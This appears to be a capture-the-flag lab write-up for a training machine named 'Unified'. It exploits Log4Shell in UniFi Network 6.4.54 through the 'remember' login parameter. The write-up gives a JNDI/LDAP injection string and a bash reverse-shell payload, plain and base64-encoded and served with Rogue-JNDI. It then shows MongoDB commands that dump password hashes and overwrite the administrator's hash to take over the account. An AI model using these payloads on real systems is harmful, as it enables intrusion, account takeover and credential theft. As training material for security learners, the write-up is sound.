# Unified

This writeup explores the effects of exploiting Log4J in a very well known network appliance monitoring system called "UniFi". This box will show you how to set up and install the necessary packages and tools to exploit UniFi by abusing the Log4J vulnerability and manipulate a POST header called remember , giving you a reverse shell on the machine. You'll also change the administrator's password by altering the hash saved in the MongoDB instance that is running on the system, which will allow access to the administration panel and leads to the disclosure of the administrator's SSH password.

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FLEC8tRSMD7TemVRKEs8r%2FUnified_Write_Up.pdf?alt=media&token=df8a0dd3-27e7-4bc1-8f37-2e805a500b83" %}

## **TARGET IP -->** 10.129.94.83

### **Task 1:** Which are the first four open ports?

* Start with an **NMAP** scan of the target IP.

```
nmap [Target IP]
```

* Looks like 4 typical ports are open from the scan.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Ff5fZrp9QPylyP431RvsQ%2Fimage.png?alt=media&#x26;token=5c907483-2177-4b0a-bf16-7a279759acac" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FFjrwfYwho0z53yZRN24t%2Fimage.png?alt=media&#x26;token=773059bf-be7f-4e01-8fb0-e69ebb1fca22" alt=""><figcaption></figcaption></figure>

* Ports Open:
  * 22 --> SSH
  * 6789 --> ibm-db2-admin
  * 8080 --> http-proxy
  * 8443 -->https-alt (ssl/nagios-nsca Nagios NSCA)

### **Task 2:** What is the title of the software that is running on port 8443?

* Run a script scan of port 8443.

```
nmap -sV -sC -p 2443 [Target IP] 
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F2v7mSK9VdoiWsoFaYKfS%2Fimage.png?alt=media&#x26;token=8c1d5331-113b-49c5-b844-9cd9ceab27cc" alt=""><figcaption></figcaption></figure>

* The software title can be seen under the title "**http-title**" : **UniFi Network**

### **Task 3:** What is the version of the software that is running?

* Since the version number does not pop up in our nmap scan, let's visit the webpage URL. The key here is that the service is secured through TLS so it will be https not http.

```
https://[Target IP]:8443
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FlZ8kDL0xSc3FbNXbwiX8%2Fimage.png?alt=media&#x26;token=354d0714-bf14-42e7-b684-bfa3c49a7bf8" alt=""><figcaption></figcaption></figure>

* Under the UniFi Logo is shows a version number of **6.4.54**.

### **Task 4:** What is the CVE for the identified vulnerability?

* Doing a quick google search for vulnerabilities for this software and version led to this page for **CVE-2021-44228**.

{% embed url="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" %}

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FM9PeVOtVyJ6zoCsnf6Qk%2Fimage.png?alt=media&#x26;token=0837bf19-2a8e-4f9c-8426-de9f322580dc" alt=""><figcaption></figcaption></figure>

### **Task 5:** What protocol does JNDI leverage in the injection?

* I opened up burpsuite and turned on foxyproxy to catch packets. I put in **test:test** for credentials and captured a packet with burpsuite.&#x20;
* I had to reload the page as the packets were not originally being caught.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FBzz4OowwFJLxciJTfxLr%2Fimage.png?alt=media&#x26;token=128f1c67-07af-45e7-aae6-1a7628f94042" alt=""><figcaption></figcaption></figure>

* I then Right-Clicked on the packet and sent it to the Burpsuite Repeater.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F0vcZJZCFfVR45H3gXxJg%2Fimage.png?alt=media&#x26;token=96725f90-dbea-4385-8aa5-6646f1dc8771" alt=""><figcaption></figcaption></figure>

* Based on the documentation for the vulnerability, I will place the payload in the **remember** parameter.
* The payload should be placed in **""** to ensure it is referred to as a string. Here is the payload with the HOST IP.

```
${jndi:ldap://{HOST IP Address}/whatever}
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FktLCgOj95Afu3IQO1Jol%2Fimage.png?alt=media&#x26;token=18768b02-e555-489e-bb62-9a2abe5bcde4" alt=""><figcaption></figcaption></figure>

* You'll notice that the payload includes an interface called **JDNI** and utilizes the protocol **LDAP** to communicate.

### **Task 6:** What tool do we use to intercept the traffic, indicating the attack was successful?

* Once I hit enter it kicked back that it was unsuccessful but it was actually successful. I can confirm this by using the tool **tcpdump**.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FkpyLqizpdDTt16EjKYQr%2Fimage.png?alt=media&#x26;token=0e70a436-52df-45a5-8e1e-2d0b5b5ddeea" alt=""><figcaption></figcaption></figure>

### **Task 7:** What port do we need to inspect intercepted traffic for?

* **tcpdump** uses port **389** to intercept traffic on.
* We can confirm that the server is trying to connect back to the host machine by collecting the traffic it is sending back on Port 389 with LDAP.
* First start up a new terminal window and use the following:

```
sudo tcpdump -i tun0 port 389
```

* tcpdump is essentially wireshark on a CLI.
* After you have started the dump from above click on the Send button for your Burpsuite Repeater and you should recieve a response back on tcpdump similar to the following.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FoVuA3iGLVf7qxwLK2ETY%2Fimage.png?alt=media&#x26;token=f0d855bf-c2ec-46b1-b0ce-d34c74a16d8f" alt=""><figcaption></figcaption></figure>

* This tells me that the server is trying to make a connection back over port 389.

### **Task 8:** What port is the MongoDB service running on?

* We will first need to build a java payload. To do this, I need to first install **openjdk**, which is used to build java applications.

```
sudo apt install openjdk-11-jre -y
```

* You can confirm that java has been installed by running the following.

```
java -version
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Flz8vriN1cumpWKfOGXg9%2Fimage.png?alt=media&#x26;token=0945309c-9e40-4d29-a06c-5bdb4f612c8e" alt=""><figcaption></figcaption></figure>

* Next is to install **Maven** which is an IDE for Java.

```
sudo apt install maven -y
```

* To confirm you have installed it we can run the following:

```
mvn -v
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F3Eafk5qnAlEh2v06fbrW%2Fimage.png?alt=media&#x26;token=69dfbba6-65f9-4456-a7df-195cdaea9e9d" alt=""><figcaption></figcaption></figure>

* After this we need to download and install the java application [**Rogue-JDNI**](https://github.com/veracode-research/rogue-jndi).&#x20;

```
git clone https://github.com/veracode-research/rogue-jndi
```

* Change directory into the downloaded folder.

```
cd rogue-jndi
```

* Next is to use maven to compile the code from Rogue-JDNI into a distributable format. This will create a .jar file in the target directory.

```
mvn package
```

* The payload we will use a pretty basic one for bash.

```
bash -c "bash -i >& /dev/tcp/[HOST IP]/4444 0>&1"
```

* We will then need to base64 encode it to avoid any issues when uploading it.

```
echo bash -c "bash -i >&/dev/tcp/[HOST IP]/4444 0>&1" | base64
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F30AIdmEzkqpV9pFSXrK8%2Fimage.png?alt=media&#x26;token=03fa2e15-5481-404f-a8a2-875281f330a2" alt=""><figcaption></figcaption></figure>

* Base64 Encoded Payload --> YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMjA3LzQ0NDQgMD4mMQo=
* Make sure you have started up a netcat listener on a separate terminal window.

```
nc -lvnp 4444
```

* Now we need to feed the base64 encrypted payload into the rogue-jdni application

{% code overflow="wrap" %}
```
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}|{base64,-d}|{bash,-i}" --hostname "[HOST IP ADDRESS]"
```
{% endcode %}

* This will feed the payload into the application using the --command

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FkCJvimmw4yCfAnWVhIm9%2Fimage.png?alt=media&#x26;token=af24f1a8-ff34-4911-9f90-520dfefca25c" alt=""><figcaption></figcaption></figure>

* Next is to go back to the intercepted packet on the Burpsuite Reciever and change the **remember** parameter to the following:

```
${jndi:ldap://[HOST IP]:1389/o=tomcat}
```

* On the rogue JNDI application that is listening on port 1389, you'll notice a new entry that tells us we have received a connection back to our host machine.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FBr2C5Jx7NH5BuVDchJht%2Fimage.png?alt=media&#x26;token=7d3d45a3-f696-4b19-8748-84036ff53c81" alt=""><figcaption></figcaption></figure>

* I should now have a reverse shell connection to the target if I go back to my netcat listener.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FK8kYdqmZJc2kiYuah6Hl%2Fimage.png?alt=media&#x26;token=4f747f0c-888e-446c-b1bc-78ed55b4caee" alt=""><figcaption></figcaption></figure>

* Now that I have access I can check what procceses are currently running to see if I can determine which port mongod DB is running on.

```
ps aux
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fr1JVXx0zkzwfkgKQhA4e%2Fimage.png?alt=media&#x26;token=31ee20fb-cacd-4df1-8a70-4eab46bd274a" alt=""><figcaption></figcaption></figure>

* It looks like mongod is running as **PID 67** and is located in **bin/mongod**
* I tried running **netstat** to see what port it is running on but it looks like the command is not found.
* Instead I decided to grep mongod out of the previous ps output

```
ps aux | grep mongod
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FAwiqa2lLQ0PHdgCtO6nE%2Fimage.png?alt=media&#x26;token=6466775c-6ed9-401f-8a29-0b46294d0e9c" alt=""><figcaption></figcaption></figure>

* Mongod is running on **port 27117**

### **Task 9:** What is the default database name for UniFi applications?

* Running a quick google search to see what the default name is for database for UniFi applications results in "**ace**"

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FXV4tO0i28neCL246K2Ka%2Fimage.png?alt=media&#x26;token=008ec00e-745a-45b5-860c-ff0b7877e73c" alt=""><figcaption></figcaption></figure>

### **Task 10:** What is the function we use to enumerate users within the database in MongoDB?

* On the target machine that you have a reverse shell connection to run the following to access the mongod database and search for possible credentials within the database.

```
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
```

* mongo --> is the command to access a mongod database
* \--port --> specifies the port the process is running on. In this case mongod typically runs on port 27117.
* ace --> Is the typical default database name for mongod.
* \--eval \[SCRIPT] -> Runs a json script to located possible admin credentials.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F2kIZEiakaOT4mB3MtZmj%2Fimage.png?alt=media\&token=3c466898-b157-48cc-945b-21fa642f60cc)

* This gave me a lot of different user credentials but it appears that all the passwords are in the shadows directory and are hashed.
* administrator@unified.htb
  * $6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.
  * ObjectId --> 61ce278f46e0fb0012d47ee4
* michael@unified.htb
  * $6$spHwHYVF$mF/VQrMNGSau0IP7LjqQMfF5VjZBph6VUf4clW3SULqBjDNQwW.BlIqsafYbLWmKRhfWTiZLjhSP.D/M1h5yJ0
* seamus@unified.htb
  * $6$NT.hcX..$aFei35dMy7Ddn.O.UFybjrAaRR5UfzzChhIeCs0lp1mmXhVHol6feKv4hj8LaGe0dTiyvq1tmA.j9.kfDP.xC.
* warren@unified.htb
  * $6$DDOzp/8g$VXE2i.FgQSRJvTu.8G4jtxhJ8gm22FuCoQbAhhyLFCMcwX95ybr4dCJR/Otas100PZA9fHWgTpWYzth5KcaCZ.
* james@unified.htb
  * $6$ON/tM.23$cp3j11TkOCDVdy/DzOtpEbRC5mqbi1PPUM6N4ao3Bog8rO.ZGqn6Xysm3v0bKtyclltYmYvbXLhNybGyjvAey1
* Here are the credentials for other users as well:

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FKpKOxklw2LT1dA8j2veu%2Fimage.png?alt=media&#x26;token=860ea3a0-9a0c-48e2-bc8f-411cdad27bb4" alt=""><figcaption></figcaption></figure>

* I won't be able to crack any of these hashes but can instead make new passwords to be utilized for the administrator account.&#x20;
* I can figure out that the hash is SHA512 if I search online and also due to the **$6$** at the beginning.
* I'll create a new password for the admin account. Open a new terminal window on your host machine and run the following to create a SHA512 hash of the password: Password1234

```
mkpasswd -m sha-512 Password1234
```

* This will output the following hash. This hash will not take into account salting but since we will upload it in place of the current password for the admin account, we won't need to worry about that.

```
$6$5e8PzvB0g7cXSVDQ$BKfQ4vD6u.QkLuGPUiKkiAJAtP0hfDXFIPra60/Ttb1d.YeY/U9qSbwisLFu2dO4RznDm29Wn5.67wy4b5rIV.
```

* Next is to run the following on the target machine to replace the administrator's password with the new one we just generated.

{% code overflow="wrap" %}
```
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("[OBJECT ID FOR ADMIN]")},{$set:{"x_shadow":"[SHA512 GENERATED HASH OF PASSWORD]"}})'
```
{% endcode %}

* Here is the output i used:

{% code overflow="wrap" %}
```
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$5e8PzvB0g7cXSVDQ$BKfQ4vD6u.QkLuGPUiKkiAJAtP0hfDXFIPra60/Ttb1d.YeY/U9qSbwisLFu2dO4RznDm29Wn5.67wy4b5rIV."}})'
```
{% endcode %}

* This should have now replaced the administrator's hashed password with ours.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F4xposSycnBROhNVwONqA%2Fimage.png?alt=media&#x26;token=ac21d735-ac45-4a73-8f7d-af2477d72327" alt=""><figcaption></figcaption></figure>

* We can verify it worked by running the previous command to view the credentials:

```
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FFxcsUjJmyHKeLv8ldkGC%2Fimage.png?alt=media\&token=ad4177cf-0e8f-4253-aa1c-74ad81e6fa3f)

* Now that we have changed the password, we should be able to login to the admin account through the web portal with the password: **Password1234**
* ![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FePmPZbpmGE8UNxx1IJkP%2Fimage.png?alt=media\&token=955896b2-01ad-44b9-a442-d234449fd008)
* Back to the original task: The function we use to enumerate users is:

```
db.admin.find()
```

* We used this further above to view all of the users and their credentials.

### **Task 11:** What is the function we use to update users within the database in MongoDB?

* We used this in the previous task to update the administrator's password.&#x20;

```
db.admin.update()
```

### **Task 12:** What is the password for the root user?

* On the UniFi admin page, go to the **Settings** tab on the left and click on **Site.**
* Scroll to the bottom where **Device Authentification** is.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FcO4IvoWin9Enm1cjQNLJ%2Fimage.png?alt=media&#x26;token=2833c6f0-f789-471c-93c1-736c6f40eac1" alt=""><figcaption></figcaption></figure>

* You'll find that SSH is enabled with the following credentials:
* root:**NotACrackablePassword4U2022**

### **Capture User Flag:**&#x20;

* Now that we have root credentials, let's SSH into the target computer using them.

```
SSH root@[TAGET IP]
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fid5vQVEU8utZyyegogd2%2Fimage.png?alt=media\&token=7e8f7328-91a1-4ec3-9d73-c799c081383a)

* cat the user file located in Michael's directory. This can be done without root priveleges.

```
cat /home/michael/user.txt
```

* 6ced1a6a89e666c0620cdb10262ba127

### **Capture Root Flag:**&#x20;

* cat the root.txt file located in the root directory.

```
cat /root/root.txt
```

* e50bc93c75b634e4b272d2f771c33681
